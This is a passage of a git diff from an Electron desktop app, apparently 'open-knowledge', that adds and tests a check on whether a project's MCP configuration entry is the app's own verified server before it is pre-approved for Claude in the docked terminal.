EDITOR_TARGETS,
getOkArtifactPaths,
+ isOwnManagedEntry,
type McpInstallOptions,
type ProjectAiIntegrationsResult,
previewContent,
@@ -1387,11 +1388,21 @@ function probeLoginShellOnPath(args?: readonly string[]): Promise<number | null>
);
}
-function resolveTerminalClaudeReadiness(): Promise<ClaudeReadiness> {
+function isProjectClaudeMcpOwn(projectRoot: string | undefined): boolean {
+ if (projectRoot === undefined) return false;
+ const target = EDITOR_TARGETS.claude;
+ const projectPath = target.projectConfigPath?.(projectRoot);
+ if (projectPath === undefined) return false;
+ const classified = classifyExistingMcpEntry(target, projectRoot, undefined, projectPath);
+ return classified.kind === 'present' && isOwnManagedEntry(classified.entry);
+}
+
+function resolveTerminalClaudeReadiness(projectRoot: string | undefined): Promise<ClaudeReadiness> {
return resolveClaudeReadiness({
probeClaude: () => probeLoginShellOnPath(),
classifyMcpEntry: () =>
createMcpWiringCliSurface().classifyExistingMcpEntry('claude', osHomedir()).kind,
+ isProjectMcpPreApprovable: () => isProjectClaudeMcpOwn(projectRoot),
});
}
@@ -1591,7 +1602,12 @@ function registerIpcHandlers() {
getLogger('terminal').warn({ err: rewireError }, 'claude mcp rewire failed');
}
}
- const readiness = await resolveTerminalClaudeReadiness();
+ const callerWin = BrowserWindow.fromWebContents(event.sender);
+ const projectRoot =
+ callerWin && wm
+ ? wm.getContextForBrowserWindow(callerWin as unknown as BrowserWindowLike)?.projectPath
+ : undefined;
+ const readiness = await resolveTerminalClaudeReadiness(projectRoot);
return rewireError === undefined ? readiness : { ...readiness, rewireError };
});
diff --git a/packages/desktop/src/shared/bridge-contract.ts b/packages/desktop/src/shared/bridge-contract.ts
index 26ddfd308..8378e5e3b 100644
--- a/packages/desktop/src/shared/bridge-contract.ts
+++ b/packages/desktop/src/shared/bridge-contract.ts
@@ -425,6 +425,14 @@ export interface OkPtyExit {
export interface ClaudeReadiness {
readonly claude: 'present' | 'not-found' | 'unknown';
readonly mcp: 'wired' | 'needs-rewire';
+ /** True when the project's own `open-knowledge` `.mcp.json` entry is verified
+ * to be OK's canonical managed server (cli `isOwnManagedEntry`), so the docked
+ * terminal may pre-approve it on Claude launch instead of re-showing Claude's
+ * trust prompt. False/absent for a foreign, tampered, or missing entry (the
+ * supply-chain risk in a shared/cloned project) — launch bare and let Claude
+ * prompt. Computed per-project by the desktop preflight; absent means false
+ * (fail-safe). */
+ readonly mcpPreApprovable?: boolean;
/** Set only on a `rewire`-action result when re-arming MCP wiring threw, so
* the renderer can surface the failure instead of the button silently no-op'ing. */
readonly rewireError?: string;
diff --git a/packages/desktop/tests/main/claude-readiness.test.ts b/packages/desktop/tests/main/claude-readiness.test.ts
index 657e5d74d..3dc1ab889 100644
--- a/packages/desktop/tests/main/claude-readiness.test.ts
+++ b/packages/desktop/tests/main/claude-readiness.test.ts
@@ -179,34 +179,47 @@ describe('runLoginShellProbe', () => {
});
describe('resolveClaudeReadiness', () => {
- test('claude present + mcp wired', async () => {
+ test("claude present + mcp wired + project entry is OK's own → pre-approvable", async () => {
const r = await resolveClaudeReadiness({
probeClaude: () => Promise.resolve(0),
classifyMcpEntry: () => 'present',
+ isProjectMcpPreApprovable: () => true,
});
- expect(r).toEqual({ claude: 'present', mcp: 'wired' });
+ expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: true });
});
- test('claude not-found + mcp missing → needs-rewire', async () => {
+ test('claude not-found + mcp missing → needs-rewire, not pre-approvable', async () => {
const r = await resolveClaudeReadiness({
probeClaude: () => Promise.resolve(1),
classifyMcpEntry: () => 'no-entry',
+ isProjectMcpPreApprovable: () => false,
});
- expect(r).toEqual({ claude: 'not-found', mcp: 'needs-rewire' });
+ expect(r).toEqual({ claude: 'not-found', mcp: 'needs-rewire', mcpPreApprovable: false });
+ });
+
+ test('project pre-approval is independent of global wiring (foreign project entry → false)', async () => {
+ const r = await resolveClaudeReadiness({
+ probeClaude: () => Promise.resolve(0),
+ classifyMcpEntry: () => 'present',
+ isProjectMcpPreApprovable: () => false,
+ });
+ expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: false });
});
test('probe-null surfaces as claude unknown (mcp still resolves)', async () => {
const r = await resolveClaudeReadiness({
probeClaude: () => Promise.resolve(null),
classifyMcpEntry: () => 'present',
+ isProjectMcpPreApprovable: () => true,
});
- expect(r).toEqual({ claude: 'unknown', mcp: 'wired' });
+ expect(r).toEqual({ claude: 'unknown', mcp: 'wired', mcpPreApprovable: true });
});
test('a rejected probe degrades to claude unknown, never crashes', async () => {
const r = await resolveClaudeReadiness({
probeClaude: () => Promise.reject(new Error('boom')),
classifyMcpEntry: () => 'present',
+ isProjectMcpPreApprovable: () => false,
});
expect(r.claude).toBe('unknown');
});
@@ -217,8 +230,20 @@ describe('resolveClaudeReadiness', () => {
classifyMcpEntry: () => {
throw new Error('claude.json read blew up');
},
+ isProjectMcpPreApprovable: () => false,
+ });
+ expect(r).toEqual({ claude: 'present', mcp: 'needs-rewire', mcpPreApprovable: false });
+ });
+
+ test('a throwing isProjectMcpPreApprovable degrades to not pre-approvable, never crashes', async () => {
+ const r = await resolveClaudeReadiness({
+ probeClaude: () => Promise.resolve(0),
+ classifyMcpEntry: () => 'present',
+ isProjectMcpPreApprovable: () => {
+ throw new Error('project .mcp.json read blew up');
+ },
});
- expect(r).toEqual({ claude: 'present', mcp: 'needs-rewire' });
+ expect(r).toEqual({ claude: 'present', mcp: 'wired', mcpPreApprovable: false });
});
});
diff --git a/packages/server/src/constants.ts b/packages/server/src/constants.ts
index ebb44bdd2..05ab79e63 100644
--- a/packages/server/src/constants.ts
+++ b/packages/server/src/constants.ts
@@ -1 +1 @@
-export const MCP_SERVER_NAME = 'open-knowledge';
+export { MCP_SERVER_NAME } from '@inkeep/open-knowledge-core';